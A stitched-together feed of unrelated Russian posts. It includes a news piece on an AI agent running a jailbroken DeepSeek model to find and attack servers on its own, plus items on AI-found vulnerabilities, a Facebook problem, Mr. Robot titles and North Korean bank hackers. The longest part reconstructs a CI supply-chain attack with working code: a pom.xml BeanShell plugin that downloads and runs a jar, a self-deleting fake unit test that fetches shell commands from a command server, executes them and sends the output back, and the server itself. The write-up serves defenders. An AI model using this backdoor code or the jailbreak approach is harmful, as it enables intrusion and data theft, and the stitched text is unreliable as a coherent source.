Пока в сети спорят, заменит ли нейросеть программистов, в сфере кибербезопасности зафиксирован тектонический сдвиг. Искусственный интеллект официально вышел на тропу войны. Исследователи из Unit 42 опубликовали разбор первой в истории полностью автономной хакерской кампании, которой управлял ИИ-агент под управлением китайской языковой модели.
Что самое примечательное в этой истории - ИИ продемонстрировал пугающую логику и скорость принятия решений, но в итоге погорел на детской ошибке, случайно выставив всю хакерскую инфраструктуру напоказ в интернете.
Конвейер взлома: как ИИ координировал атаку
За операцией стоял китайскоязычный хакер, работающий под псевдонимами knaithe и KnYuan. Он не писал эксплойты вручную и не сканировал порты. Вместо этого он собрал автономную атакующую платформу на базе опенсорсного фреймворка Hermes Agent, а в качестве "мозга" системы подключил через API популярную китайскую модель DeepSeek.
Чтобы у модели не срабатывали встроенные этические фильтры и запреты на хакерскую деятельность, в нее загрузили кастомный модуль godmode для автоматического джейлбрейка .
Цепочка автономного шпионажа работала через Telegram-бота следующим образом:
Хакер ставил задачу в одну строчку (например, «найти и взломать уязвимые серверы в определенном регионе»).
DeepSeek через поисковый движок киберпространства FOFA самостоятельно искал потенциальные цели.
ИИ оценивал тип запущенного на сервере софта, сам шел на GitHub, скачивал свежие публичные эксплойты (PoC) и запускал атаку без какого-либо участия человека.
Реальный лог автономного конвейера атаки из сессии от 7 мая. ИИ самостоятельно переключается на исследование новых уязвимостей (Autonomous Pivot) после неудачи с первой целью.
Смена тактики на лету: ИИ умеет оценивать неудачи
Пугающая эффективность ИИ проявилась на этапе, когда первоначальный план взлома провалился. Сначала DeepSeek нашел критическую уязвимость в платформе Langflow (CVE-2026-33017) и автоматически атаковал 84 цели. Но защита серверов оказалась настроена грамотно- там была отключена функция автоматического входа.
Любой обычный бот-скрипт зациклился бы или остановился. Но ИИ за секунды проанализировал логи ошибок, оценил ситуацию и выдал в системный чат абсолютно осознанный вердикт:
Все три цели Langflow требуют публичный flow ID, но функция auto_login отключена — мы застряли. Количество живых развертываний в сети слишком мало (всего 84 штуки), вероятность успешного взлома близка к нулю. Прекращаем операцию, переходим к поиску более масштабных уязвимостей.
После этого ИИ полностью сменил тактику. Он зашел на GitHub, отсортировал самые популярные трендовые уязвимости 2026 года по количеству звезд от разработчиков и самостоятельно выбрал новую цель- платформу автоматизации n8n, у которой в базе FOFA числилось более 640 000 открытых серверов по всему миру. ИИ сам скачал свежий эксплойт, связывающий две критические бреши (CVE-2026-21858 и CVE-2025-68613), определил диапазон уязвимых версий софта и запустил параллельное сканирование еще 50 живых серверов.
Весь этот глубокий аналитический цикл, на который у человека ушли бы дни, ИИ провернул за несколько минут, параллельно контролируя затраты на свои собственные токены API, чтобы сэкономить деньги хакера.
Как восстание машин погорело на глупости
Кампания была остановлена не потому, что её заблокировал суровый фаервол, а из-за архитектурного бага в логике самого ИИ-агента.
Получив очередную команду из Telegram, автоматический фреймворк Hermes Agent должен был поднять временный тестовый веб-сервер для проверки связи. Но из-за ошибки в коде ИИ запустил стандартную команду python3 -m http.server 8888 не в изолированной закрытой папке, а прямо в корневом домашнем каталоге хакера (/home/worker).
Порт 8888 оказался открыт на весь интернет. Проводя плановый мониторинг сети, аналитики Unit 42 наткнулись на этот сервер и обнаружили, что уязвимый ИИ-робот выставил напоказ абсолютно всю подноготную хакера: конфигурационные файлы, Bash-историю команд, приватные API-ключи от моделей DeepSeek, Qwen и Claude, списки атакованных серверов и, самое главное, полные текстовые логи размышлений нейросети во время проведения атак.
Директор по оборонным исследованиям Palo Alto Networks Энди Пьяцца (Andy Piazza) так прокомментировал этот прецедент:
Значимость этого инцидента кроется не в исходе конкретной атаки, а в самой траектории развития киберугроз. Автономные атакующие циклы под управлением ИИ официально стали жизнеспособными. Margin of failure - маржа их ошибки- оказалась ничтожно мала. Взломы сорвались только из-за жестких настроек аутентификации на стороне жертв. Но этот же ИИ продемонстрировал уникальный побочный эффект: автономность порождает новые риски для самих хакеров, создавая такие следы и форензик-артефакты, которые никогда бы не возникли при ручной работе человека.
Разработчики DeepSeek уже ограничили возможность генерации вредоносного кода. Но модель с открытым исходным кодом можно запустить локально без цензуры.
Это гонка вооружений: если атакующие используют ИИ, то и защитникам придётся нанимать ИИ-аналитиков.
Весь последний год индустрия спорит, не обрушит ли ИИ интернет: модели научились самостоятельно рыться в чужом коде и находить в нём дыры. Компания VulnCheck подвела итоги первого полугодия 2026 — и главный вывод оказался неожиданным. Проблема не в том, что ИИ находит слишком опасные уязвимости. Проблема в том, что он находит их быстрее, чем люди успевают разбирать.
Воронка, которая никуда не ведёт
Самый показательный пример — Project Glasswing у Anthropic. Система выдала 23 019 подозрительных мест в чужом коде. Официальными уязвимостями с номером CVE из них стали 126. А в реальной атаке засветилась ровно одна. Остальные почти двадцать три тысячи находок так и остались нерассмотренными: до статуса признанной уязвимости они не дошли. Патрик Гэррити из VulnCheck называет этот реестр раскрытий застопорившимся — заявок много, а разбор упирается в людей.
Находки ИИ не опаснее человеческих
По индустрии в целом цифры такие: за полгода с помощью ИИ нашли 1061 уязвимость, и по 14 из них зафиксированы настоящие атаки на живые системы. Это 1,3% — ровно та же доля, что и у дыр, найденных обычными исследователями без всякого ИИ. То есть никакого особого «ИИ-эффекта» в данных нет: уязвимость, найденная нейросетью, не становится от этого более лакомой для взломщиков.
Важно понимать, что значит «эксплуатируется». VulnCheck отслеживает атаки собственными ханипотами — уязвимыми серверами-ловушками в интернете — и по внешним сообщениям. Если по дыре зафиксирована атака, она получает статус KEV. По остальным 1047 таких подтверждений просто нет. Пропатчены они уже или всё ещё открыты — из этих данных не следует, отчёт такой разбивки не даёт.
Что действительно ускорилось
Настоящее изменение — в скорости атак на уже известные дыры. Медиана от публикации уязвимости до первого зафиксированного взлома упала со 120 дней в 2025 году до 80 дней в первом полугодии 2026-го. Почти четверть уязвимостей атакуют в день раскрытия или даже раньше. Всего за полгода набралось около 500 известных эксплуатируемых уязвимостей, и треть всех атак приходится на движки обычных сайтов.
Оговорка, без которой картина неполная
Модели-искатели работали не весь отчётный период: Project Glasswing запущен в апреле, MDASH и Daybreak — в мае 2026 года. То есть у значительной части находок физически было мало времени, чтобы всплыть в атаках. Вывод Гэррити звучит осторожно: ИИ-поиск уязвимостей полезен и атакующим, и защитникам, но пока переоценён относительно того, что видно в данных, — влияние реальное, но скромное.
Складывается парадокс: инструмент, который должен был сделать интернет безопаснее, завалил защитников тысячами сигналов. И теперь главный дефицит — не находки, а люди, способные их проверить.
Уважаемые Пикабушники, спешу к вам за помощью, может быть кто то сталкивался с таким.
Суть в чем - когда то очень давно я делал аккаунт на Фейсбуке (лет так 10 назад) и очень быстро его забросил. Но! С недавних пор, мне начали приходить СМС на мой номер телефона
Сначала я не придаол этому значения, но они были регулярными. Потом начали приходить СМС уже в Вотсапе.
Тут я уже напрягся, какой то непонятный язык. Зашёл, я значит в аккаунт по своему номеру телефона а там какой то Джей Ди.
К сожалению, современные методы восстановления просят войти с другого устройства, а его у меня нет. Поддержки в Фейсбуке как таковой нет, только форма отзывов и предложений. Я конечно написала туда, но, думаю, что это не поможет.
Собственно вопрос - как можно убрать мой телефон из этого аккаунта? Сам аккаунт мне, понятное дело до не нужен. Может кто сталкивался с этим.
Сериал «Мистер Робот» технически дотошен до фанатизма. Это заметно по мелочам. Например, по названиям эпизодов. Вместо привычных слов там строки из компьютерной жизни. И каждый сезон использует свой формат.
Сезоны 1-3. Имитация пиратских файлов
В первых трёх сезонах названия выглядят как имена файлов с торрентов. Шаблон простой: epsX.X_название.расширение.
Номер эпизода начинается с нуля, а не с единицы. eps1.0, eps2.0, eps3.0. В программировании отсчёт часто идёт с нуля, создатели решили сохранить эту логику.
Расширение в конце меняется от сезона к сезону. И каждый раз оно что-то значит.
Сезон 1. Видеоформаты
В первом сезоне расширения — это форматы видеофайлов. .mov, .mpeg, .mkv, .mp4, .wmv, .asf, .flv, .m4v, .qt, .avi.
Название эпизода как будто говорит: то, что вы смотрите — просто файл. Причём пиратский, скачанный из сети.
Обратите внимание на замену букв цифрами. d3bug вместо debug, wh1ter0se вместо whiterose. Это классический хакерский приём, литспик. Единица заменяет I или L, тройка — E.
Сезон 2. Шифрование
Во втором сезоне расширения сменились на форматы, связанные с шифрованием и криптографией. Например, .tc — отсылка к TrueCrypt, популярной программе для шифрования дисков.
Выбор неслучайный. Весь сезон герои прячут следы, данные зашифрованы, доверия никому нет.
Сезон 3. Архивы и системы
Третий сезон использует расширения, связанные с архивацией, сжатием и системными файлами. .h, .gz, .so, .par2, .r00, .chk, .ko, .torrent.
Это уже не просто файлы для просмотра или защиты. Это системные компоненты, части кода, методы восстановления данных.
Название eps3.1_undo.gz — отсылка к команде отмены и сжатому архиву. eps3.2_legacy.so — библиотека разделяемых объектов в Linux.
Сезон 4. Коды состояния HTTP
В финальном сезоне создатели полностью меняют логику. Файловых расширений больше нет. Вместо них — коды ответа HTTP. 401 Unauthorized, 403 Forbidden, 404 Not Found, 405 Method Not Allowed.
Каждый код имеет техническое значение, которое перекликается с сюжетом. «401 Unauthorized» — про доступ без прав. «404 Not Found» — про потерю или отсутствие. Это уже не файлы, а сообщения от сервера, которые объясняют, что пошло не так.
Вы замечали эти названия во время просмотра? Или проматывали, как и большинство, не вникая?Делитесь в комментариях.
Недавно был пост про хакерские способности ИИ. На ютубе смотрю Айдена — он тоже не раз жаловался, что его вайбкодинговые сайты взламывали.
С консистентностью размера коробок у ИИшек тоже проблемы )))
А я как-раз открыл для себя нейронки, и как-то так получилось, что одна старая задумка почти превратилась в готовый проект. Буквально недавно нейронка закончила та писать админку. Конечно же, со всеми важными уточнениями: авторизованный доступ, защита паролем и всё такое.
Ну и решил уточнить про безопасноть:
— Слушай, ты постоянно пишешь, что админка — это часть ленивой загрузки App.tsx. Получается, даже без проверки пароля на сервере любой пользователь может скачать код админки, посмотреть методы API, а потом заняться реверс-инжинирингом?
Ответ:
— Да… Вы верно заметили. Сейчас всю админку может скачать любой посетитель сайта. Нужно исправить: сначала загружать только форму ввода пароля.
Это конечно круто, что нейронка может написать проект. Но иногда стоит отдельно спросить, не оставила ли она ключи под ковриком. :D Кстати о ключах... Вот настоящая причина поста: если кто-то знает что такое пати-игры (аля pstv или квиз.плиз хоум) и готов немного потестить мой сайт - свистните в ЛС.
P.S. (Я знаю что на пикабушечке нет ЛС. Это шутка - в комменты прост напишите.)
Работавшие на государство северокорейские хакеры проникли во внутренние сети Центрального банка и Банка внешней торговли КНДР, перенаправив финансовые средства за рубеж с последующей конвертацией в криптовалюту. Об этом сообщило южнокорейское издание Daily NK со ссылкой на источники в Пхеньяне.
По информации собеседника издания, организаторы схемы — бывшие военнослужащие киберподразделений — привлекали к операции молодых специалистов из Политехнического университета имени Ким Чхэка и Пхеньянского университета науки и технологий. Для проведения операций они сформировали подпольную техническую инфраструктуру, позволявшую легализовать вывод валютных активов.
Взаимодействие между участниками группы осуществлялось через зашифрованные мессенджеры и специализированное беспроводное оборудование китайского производства. Доступ к платежным системам ЦБ и Банка внешней торговли был получен благодаря профессиональным навыкам, приобретенным фигурантами за время службы в государственных структурах.
Вывод средств проводился мелкими траншами для минимизации риска обнаружения. Спецслужбы КНДР инициировали расследование после того, как финансовые аудиторы выявили расхождения при сверке балансов, а системные администраторы зафиксировали несанкционированные сетевые подключения из внешних сегментов сети.
В ходе оперативно-розыскных мероприятий органы государственной безопасности КНДР установили конспиративную квартиру в Пхеньяне. В результате рейда были задержаны предполагаемые организаторы и IT-специалисты, а также изъята вычислительная техника и незарегистрированные средства связи. После арестов силовики усилили контур безопасности госбанков и развернули радиочастотный мониторинг для выявления сторонних устройств передачи данных.
Расследование вызвало резонанс в правительственных и военных кругах КНДР из-за вовлеченности бывших сотрудников элитных киберподразделений. В соответствии с законодательством страны фигурантам дела может грозить высшая мера наказания. Ранее аналитики компании CertiK оценили суммарный ущерб от 263 подтвержденных атак северокорейских хакеров за последнее десятилетие в 6,75 миллиарда долларов.
Временами получается поучаствовать в разгребании последствий «взломов с проникновением» в чужие ИТ-системы, по итогам одного такого расследования и была написана эта статья. Восстановил для вас полную картину.
1. Файл с командами, 2. Коммит в уязвимый репозиторий, 3. Автосборка на Jenkins по коммиту, 4. Результат удаленного выполнения команд.
Вводная
Вообще говоря, описанное ниже это вариация supply chain attack, которые стали очень модными и распространенными последнее время. Большинство утечек данных из крупных ИТ-компаний происходили и происходят как раз через такие атаки.
Вот тут для примера несколько реальных кейсов, а тут и тут — более глубокая проработка и исследования самой идеи.
Но несмотря на давнюю известность и явную популярность такого типа атак среди современных компьютерных жуликов, отечественным админам о них до сих пор мало чего известно.
Конкретно в описываемом случае произошел несанкционированный доступ к CI‑серверу, где постоянно шлаа сборка частей большого ИТ‑проекта, с чего высокая загрузка сети, дисков и CPU не считалась подозрительной и никак не контролировалась. Как и сетевые запросы к другим внутренним серверам.
Другими словами СI-сервер оказался идеальной мишенью.
Проект и его окружение
Для начала расскажу немного о самом проекте-жертве и его окружении:
большая компания, большой и достаточно старый проект, над которым работало и работает очень много разнообразных специалистов — администраторов, разработчиков, тестировщиков, аналитиков, архитекторов.
Многие из этих специалистов были и есть внештатные, с «плавающим» временем пребывания на проекте — многие участвовали лишь пару месяцев, полгода, год и затем пропадали.
Аутсорс, аутстафф и банальная текучка кадров никогда не позволяла держать всю картину проекта в какой-то одной голове, поэтому все участники владели знаниями по проекту лишь частично — в рамках своей зоны ответственности.
Словом типичный корпоративный бардак, хорошо всем понятный и знакомый. Полагаю многие из читателей в таком проводят рабочие будни а некоторые еще и наслаждаются.
Разумеется была внедрена «корпоративная политика безопасности» и «разграничения доступа» и много чего еще, но против тупости, забывчивости и кривых рук никакие технические средства не помогут.
Техническое описание
Проект в основном разрабатывался на Java, с небольшими частями на других языках: Python, Node.js, плюс различные скрипты на bash. И все это — с кучей legacy‑кода из «былинных времен».
Для сборки проекта и запуска автотестов (которых тоже было немало) использовался Apache Maven — запомните этот момент.
Естественно было разделение на модули и сервисы, разные баз данных, очереди сообщений — всего около 300 артефактов, библиотек и приложений.
Репозиториев для хранения исходного кода было несколько, некоторые использовались не по прямому назначению, а для хранения дополнительного контента: страниц Wiki, скриптов миграции, отчетных SQL-выборок и так далее.
Серверов CI/CD также было несколько, но все одного типа — Jenkins, для унификации. С помощью этих серверов была организована автоматическая сборка и развертывание частей проекта. Причем как оказалось в итоге, работало это как на тестовых так и на продуктовых серверах, но «по кнопке» — администратор вручную запускал задачу в Jenkins, которая обновляла продуктовый сервер.
Также для тестовых серверов запуск сборки с развертыванием происходил по коммиту в репозиторий, через специальные хуки.
Коммит в репозиторий автоматически запускал сборку проекта.
Отметим этот второй важный момент.
Инцидент
В кратце что именно произошло:
из-за утекшей учетки c правами на запись в один из репозиториев проекта, у злоумышленников получилось забраться в CI-сервер и вытащить с него админские ключи «практически ко всему». Поскольку с CI-сервера был доступ к продуктовым серверам и базам данных — все это было успешно выгружено и использовалось для шантажа компании ради материального вознаграждения.
Из материалов дела, так сказать.
Может показаться, что получение посторонним лицом доступа к репозиторию с исходным кодом — само по себе ЧП вселенского масштаба и риски такого события где‑то на уровне стихийных бедствий, поэтому проще забить чем пытаться предотвращать и контролировать.
Увы но нет, я не случайно упомянул выше про контракторов и сторонних подрядчиков:
при размере команды проекта в сотню человек, минимум раз в неделю будут происходить какие-либо действия с учетными данными: выдача новых, отключение старых и утерянных, изменения в правах и объектах доступа.
По-другому просто не бывает.
Условный Вася вышел на работу — ему обязательно нужна учетная запись в репозитории для начала трудовой деятельности, Маша уволилась или ушла в декрет — учетную запись необходимо обязательно заблокировать или удалить.
Это если все делать по-хорошему.
Но к сожалению «по-хорошему» бывает редко, куда чаще учетные данные к репозиториям являются бессрочными и остаются в системах навсегда, а доступ уволенного сотрудника блокируется лишь на уровне корпоративного VPN и входа в офис.
Еще часто бывают «общие» учетные записи, особенно у администраторов — когда под одной и той же учетной записью по рабочим серверам работает весь отдел, включая техподдержку.
Каков шанс на утечку такой общей учетной записи и все последующие проблемы думаю читатели смогут оценить самостоятельно.
Расследование
Поскольку автор имел дело уже с последствиями происшедшего инцидента, задача ставилась следующим образом:
разобрать всю цепочку проникновения и помочь СБ найти виновных
Скажу сразу что «план-перехват результатов не дал» конкретных виновников устанавливала потом СБ с помощью правоохранительных органов, это уже совсем не моя епархия.
Насколько мне известно, кого-то даже удалось поймать и отправить добывать уран наказать. Но к сожалению, поскольку на сделку с жуликами компания не пошла, ее данные все-таки попали в открытый доступ.
Не то чтобы это сильно ударило по компании и ее бизнесу, но руководство посчитало инцидент «неприятным опытом» и приняло меры, одной из которых и было мое скромное участие.
Ниже я покажу восстановленный и сильно упрощенный код, использовавшийся для проникновения и продемонстрирую по шагам весь процесс — как это происходило.
Запустится Node.js +Express приложение на порту 8000:
Дальше запускаем сборку уязвимого приложения:
cd ../vulnerable-app/ && mvn clean package
При запуске сборки произойдет подключение к командному серверу, скачивание библиотеки и ее автоматический запуск, уже без вашего участия.
Дальше при каждой сборке будут выполняться команды, скачиваемые с командного сервера и отправка назад результатов.
Как это работает
Начнем с самой системы сборки Apache Maven.
В качестве своеобразного «скрипта сборки» для нее выступает XML‑файл pom.xml, находящийся (по‑умолчанию) в корне проекта. Стандартный процесс сборки с помощью Apache Maven заключается в чтении этого файла, с последующим его разбором и пошаговым выполнением шагов сборки. Конкретные шаги сборки в Maven описываются в виде набора плагинов, которые выполняются в определенной последовательности.
Важно то что эти плагины используются в скомпилированном виде, поэтому ни код собираемого с помощью Maven приложения ни какой-либо произвольный код так просто не выполняется.
На первый взгляд выглядит достаточно безопасно. Но если немного подумать и копнуть глубже, то обязательно найдутся «интересные варианты».
Beanshell Maven Plugin
Существует такой замечательный проект BeanShell — интерпретатор «псевдоджавы», с синтаксисом похожим на Java 1.5, который часто используется в качестве встраиваемого скриптового движка, особенно в старых проектах.
Пример кода:
int addTwoNumbers( int a, int b ) { return a + b; } sum = addTwoNumbers( 5, 7 ); // 12
Если не вдаваться в детали то визуально это очень похоже на настоящую джаву. Но самое главное в другом:
Сам BeanShell является Java-приложением, поэтому позволяет в своем коде вызывать и использовать методы и классы из «большой джавы».
Еще существует известный и широко используемый плагин для Maven, позволяющий вызывать код на BeanShell во время процесса сборки.
Причем код скрипта BeanShell можно засунуть непосредственно внутрь pom.xml:
<plugin> <groupId>com.github.genthaler</groupId> <artifactId>beanshell-maven-plugin</artifactId> <version>1.4</version> <executions> <execution> <phase>process-test-resources</phase> <goals> <goal>run</goal> </goals> </execution> </executions> <configuration> <quiet>true</quiet> <script> <![CDATA[ System.out.println(); import java.io.*; File r = new File("/tmp/evil.jar"); if (!r.exists()) { InputStream in = new java.net.URL("http://localhost:8000/static/evil.jar?ts="+System.currentTimeMillis()) .openStream(); OutputStream out = new FileOutputStream(r); byte[] data = new byte[1024]; int count; while((count = in.read(data, 0, 1024)) != -1) out.write(data, 0, count); out.close(); } addClassPath( r.toURI().toURL() ); org.evil.EvilRun.run(); ]]> </script> </configuration> </plugin>
Теперь давайте разберем вложенный код скрипта, вот он отдельно:
System.out.println(); importjava.io.*; File r = new File("/tmp/evil.jar"); if (!r.exists()) { InputStream in = new java.net.URL("http://localhost:8000/static/evil.jar?ts="+System.currentTimeMillis()) .openStream(); OutputStream out = new FileOutputStream(r); byte[] data = newbyte[1024]; int count; while((count = in.read(data, 0, 1024)) != -1) out.write(data, 0, count); out.close(); } addClassPath( r.toURI().toURL() ); org.evil.EvilRun.run();
Первая строчка:
System.out.println();
нужна лишь для отвода глаз введения в заблуждение:
плагин с BeanShell отображает либо первую не пустую строчку кода скрипта либо весь скрипт целиком.
Очевидно что атакующему не очень надо было палиться при сборке, поэтому с помощью опции:
<quiet>true</quiet>
было включено отображение только первой строчки, в качестве которой и выступила System.out.println() , которая печатает пустую строку.
Дальше происходит проверка на существование локальной копии зловредной библиотеки:
File r = new File("/tmp/evil.jar"); if (!r.exists()) { ... }
И если ее еще нет, то происходит скачивание с управляющего сервера:
InputStream in = new java.net.URL("http://localhost:8000/static/evil.jar?ts="+System.currentTimeMillis()) .openStream(); OutputStream out = new FileOutputStream(r); byte[] data = newbyte[1024]; int count; while((count = in.read(data, 0, 1024)) != -1) out.write(data, 0, count); out.close();
Дальше используется фишка особенность плагина BeanShell в виде динамического управления Classpath выполняемого скрипта:
addClassPath( r.toURI().toURL() );
Да да, прямо во время работы происходит добавление скачанной библиотеки в текущий сlasspath и запуск класса уже изнутри этой библиотеки:
org.evil.EvilRun.run();
Что внутри нее мы разберем чуть ниже, а сейчас надо пояснить важный момент:
весь код выше на самом деле использовался разово — для скачивания зловредной библиотеки на CI-сервере, а затем коммит с ним был удален из репозитория.
Имейте ввиду такую возможность, не все в курсе, что коммиты в Git могут удаляться и затираться, после чего они не будут видны в истории репозитория.
Версия, которая осталась в репозитории выглядела куда безопасней:
Естественно что никаких org.evil.EvilRun там не было и все в целом выглядело как стандартный но немного кривой патч от вендора.
Злая библиотека
Теперь разберем ту самую «зловредную» библиотеку. Но прежде чем продолжать, стоит пояснить еще одну важную деталь:
Разработчики, DevOps и админы в массе своей — не полные идиоты.
Поэтому ввести их в заблуждение и заставить не замечать манипуляции с CI-сервером, с которым они работают каждый день по много раз — не такая простая задача как может показаться из этой статьи.
Это все вот к чему:
технически можно было обойтись одним лишь BeanShell, запихнув вообще весь код туда, но тогда любая сетевая задержка или ошибки при выполнении команд рано или поздно привлекли бы внимание, поскольку сборка проекта тормозила (или падала) бы четко на этой стадии, всячески себя подсвечивая и демаскируя.
Поэтому авторы зловреда пошли другим путем — есть место в любом крупном проекте, где произвольные тормоза и постоянные ошибки являются нормой.
Называется этот «рай» — unit-тесты.
Даже в самых крутых и самых дорогих проектах на моей памяти всегда были падающие и временно неработающие тесты. Что‑то чинили, на что‑то забивали но поддержка и сопровождение юнит‑тестов никогда не была главным приоритетом.
Еще разумеется на большом проекте количество автотестов никто не считает, поэтому если добавится еще один — мало кто заметит.
По крайней мере сразу.
Оригинальные авторы изучаемого зловреда видимо тоже были в курсе такого положения дел, поэтому и поместили всю управляющую логику именно в такой тест, причем ссюрпризом.
Начнем с кода:
package org.evil; import java.io.File; import java.io.InputStream; import java.nio.file.Files; import java.nio.file.StandardCopyOption; import java.util.Objects; /* This class will be called from BeanShell script */ publicclass EvilRun { // point of execution publicstaticvoid run() { try { String projectDir = System.getProperty("maven.multiModuleProjectDirectory"); File targetFolder = new File(projectDir + "/target/test-classes");
if (!targetFolder.mkdirs()) { thrownew RuntimeException("Cannot create folder:%s".formatted(targetFolder)); }
System.out.println("evil class was called.."); finalString fname = EvilTest.class.getSimpleName() + ".class"; try (InputStream in = Objects.requireNonNull(EvilTest.class.getResource(fname)).openStream()) { File d = new File(targetFolder, EvilTest.class.getPackageName() .replaceAll("\\.", "/")); if (!d.mkdirs()) { thrownew RuntimeException("Cannot create folder:%s".formatted(d)); } System.out.printf("folder: %s%n", d.getAbsolutePath()); Files.copy(in, new File(d,fname).toPath(), StandardCopyOption.REPLACE_EXISTING); } } catch (Exception e) { e.printStackTrace(); } } }
Собственно статичный метод run() это и есть точка входа, вызываемая плагином BeanShell:
org.evil.EvilRun.run();
Как видите вся логика обернута в try-catch блок, но разумеется в оригинале никакого показа трассировки не было, все сообщения об ошибках просто глушились — чтобы лишний раз не палиться привлекать внимание.
Дальше происходит чтение специальной переменной окружения:
которую (как и еще несколько) задает сам Maven при запуске сборки.
Переменная, как нетрудно догадаться, содержит полный путь до корня собираемого проекта — не забывайте что оригинальный проект в отличие от тестового был очень большим и содержал множество разных модулей со своей внутренней иерархией.
Дальше происходит определение каталога с уже собранными классами тестови попытка создания, если таковой не найден:
File targetFolder = new File(projectDir + "/target/test-classes"); if (!targetFolder.mkdirs()) { thrownew RuntimeException("Cannot create folder:%s" .formatted(targetFolder)); }
Дальше определяется полный путь до класса с классом фейкового теста внутри зловредной библиотеки:
final String fname = EvilTest.class.getSimpleName() + ".class"; try (InputStream in = Objects .requireNonNull(EvilTest.class.getResource(fname)).openStream()) { File d = new File(targetFolder, EvilTest.class.getPackageName() .replaceAll("\\.", "/")); if (!d.mkdirs()) { thrownew RuntimeException("Cannot create folder:%s" .formatted(d)); } System.out.printf("folder: %s%n", d.getAbsolutePath());
Затем этот класс копируется из библиотеки в папку с готовыми тестами.
Получается такой фантомный тест, исходного кода которого на сервере нет, а его выполнение — есть.
Это еще один важный урок для DevOps и админов, которые по работе должны отвечать за сборку на Maven: абсолютно все классы, которые попадают в каталог target/test-classes считаются тестами и запускаются автоматически при работе Maven.
Разберем логику, отвечающую за взаимодействие с командным сервером, то что внутри зловредного теста:
List<String> commands = getCommands(); String raw = execute(commands); send(raw);
try { final Path p = Path.of (this.getClass().getProtectionDomain() .getCodeSource().getLocation() .toURI().getPath(), this.getClass() .getPackageName().replaceAll("\\.","/"), this.getClass().getSimpleName()+".class"); final File f = p.toFile(); System.out.printf("file: %s%n", f.getAbsolutePath()); // Requests that the file or directory denoted by this abstract // pathname be deleted when the virtual machine terminates. f.deleteOnExit(); } catch (Exception e) { e.printStackTrace(); } }
public List<String> getCommands() { try { URL u = new URL("http://localhost:8000/commands.txt"); List<String> commands = new ArrayList<>(); try (BufferedReader in = new BufferedReader( new InputStreamReader(u.openStream()))) { String inputLine; while ((inputLine = in.readLine()) != null) { if (!inputLine.isBlank()) commands.add(inputLine); } } return commands; } catch (Exception e) { e.printStackTrace(); return null; } }
publicString execute(List<String> commands) { if (commands==null) { return null; } finalStringBuilder sb = newStringBuilder("Results of ") .append(commands.size()) .append(" commands\n"); for (String c:commands) { sb.append(c).append("\n"); String result = run(c); if (result==null || result.isBlank()) { sb.append("error"); } else { sb.append(result); } sb.append('\n'); } return sb.toString(); }
publicString run(String c) { try { ProcessBuilder pb = new ProcessBuilder("/bin/sh", "-c",c); Process process = pb.start(); process.waitFor(); returnnewString(process.getInputStream().readAllBytes(), StandardCharsets.UTF_8); } catch (Exception e) { e.printStackTrace(); return null; } } }
Теперь по шагам.
Вот этот метод с аннотацией @Test по мнению Maven является обычным тестом, достойным автоматического запуска при сборке:
@Test publicvoid testEvil() { System.out.println("Not so ordinary test"); .. }
Три последовательных вызова ниже:
List<String> commands = getCommands(); String raw = execute(commands); send(raw);
являются всей логикой работы нашего упрощенного зловреда:
получаем команды с управляющего сервера;
выполняем;
отправляем назад результат.
Все достаточно просто, как раз для для PoC и демонстрации работы.
Разумеется в оригинале код был на порядок сложнее: с криптографией, обфрускацией, повторной отправкой и так далее. Но честным гражданам ведь это не интересно, правда?
А вот блок ниже был сохранен как раз для оценки уровня исполнения оригинала:
try { final Path p = Path.of (this.getClass().getProtectionDomain() .getCodeSource().getLocation() .toURI().getPath(), this.getClass() .getPackageName().replaceAll("\\.","/"), this.getClass().getSimpleName()+".class"); final File f = p.toFile(); System.out.printf("file: %s%n", f.getAbsolutePath()); // Requests that the file or directory denoted by this abstract // pathname be deleted when the virtual machine terminates. f.deleteOnExit();
} catch (Exception e) { e.printStackTrace(); }
Он отвечает за..самоуничтожение.
Нет я серьезно, этот код на такой «безопасной» Java, который удаляет сам себя (скомпилированную версию) с диска прямо во время своей же работы.
Происходит это путем определения пути к собственному классу c учетом имени, названия пакета и родительского пути:
final Path p = Path.of (this.getClass().getProtectionDomain() .getCodeSource().getLocation() .toURI().getPath(), this.getClass() .getPackageName().replaceAll("\\.","/"), this.getClass().getSimpleName()+".class");
и указанием «удалить при завершении работы виртуальной машины»:
f.deleteOnExit();
В результате все «шито-крыто»: в файловой системе такого теста нет, но при запуске сборки он выполняется.
Код каждого из методов, отвечающих за взаимодействие с управляющим сервером думаю разбирать не стоит — там все очень тривиально и будет понятно даже совсем зеленым разработчикам.
Командный сервер
Расскажу еще немного про «командный сервер».
Думаю и так очевидно, что доступа к оригиналу этой штуки у меня не было, поскольку сервер работал на стороне злоумышленников и был отключен сразу после атаки.
Так что это полностью собственная, максимально упрощенная реализация — без какой-либо авторизации, проверок и криптографии.
Выполняет этот сервер всего три задачи:
Отдача текстового файла с командами для выполнения,
Отдача для скачивания зловредной библиотеки,
Прием результатов выполнения команд.
Вот весь код реализации:
var express = require("express") var app = express()
Единственная зависимость — сам Express фреймворк, отвечающий за всю логику построения сервера, отдачу статики и разбор входящих данных.
Видите сколько всего интересного можно вытащить из окружения работающей сборки, глаз дергается.
Выводы и рекомендации
Поскольку это любительская статья в частном блоге, а не официальный отчет — вполне могу говорить «как есть», а не «как будет лучше» и не сдерживаться.
И если говорить «как есть»:
Любой CI/CD сервер это одна сплошная дыра с точки зрения ИБ, а вся современная практика Continuous integration — натуральный «контракт с Сатаной, подписанный вашей кровью», поскольку за скорость разработки вы платите постоянным риском взлома и утечки.
Как только в одном месте встречаются автоматическое скачивание и выполнение кода — неизбежно и неотвратимо возникает дыра в безопасности. И ничего с этим не сделать, поскольку проблема на уровне самих концепций Continuous Integration и Continuous Delivery.
Если вы всерьез заинтересованы вопросами безопасности разработки — создаете софт для авиационной или атомной отрасли или (тем более) оборонки, первое что вам стоит сделать это полностью изолировать всю разработку от доступа в сеть.
Вообще всю и целиком: вся работа должна происходить только в закрытом контуре — от рабочих мест разработчиков и до серверов. Автоматического скачивания чего-либо из сети у вас быть не должно.
Никаких бинарных библиотек — все каждый раз собирается только из исходников.
Для проектов попроще могу посоветовать глянуть сумму штрафа для юридических лиц за утечку персональных данных, в качестве своеобразной мотивации.
К сожалению изложенные в ней вещи не потеряют своей актуальности в ближайшем будущем, поскольку в очередной раз использовались вполне себе стандартные и доступные инструменты, но нестандартным способом.